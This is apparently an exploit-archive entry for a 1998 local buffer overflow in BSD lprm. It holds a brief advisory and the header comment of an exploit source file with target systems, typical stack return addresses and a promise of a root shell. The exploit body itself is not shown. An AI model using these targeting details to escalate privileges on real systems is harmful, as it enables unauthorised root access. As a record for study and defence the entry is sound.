BSD 'lpr' 2000.05.07/0.48/0.72 / lpr-ppd 0.72 - Local Buffer Overflow (1)

It has been reported that a vulnerability in the handling of some types of requests exists in lprm. When an attacker sends a maliciously crafted string to a configured printer through the lprm command, it may be possible to execute code.

/*
   lprm-bsd.c - Exploit for lprm vulnerability in
                OpenBSD and FreeBSD-stable

   k0ded by Niall Smart, njs3@doc.ic.ac.uk, 1998.

   The original version of this file contains a blatant error
   which anyone who is capable of understanding C will be able
   to locate and remove.  Please do not distribute this file
   without this idiot-avoidance measure.

   Typical egg on FreeBSD: 0xEFBFCFDF
   Typical egg on OpenBSD: 0xEFBFD648

   The exploit might take a while to drop you to a root shell
   depending on the timeout ("tm" capability) specified in the
   printcap file.
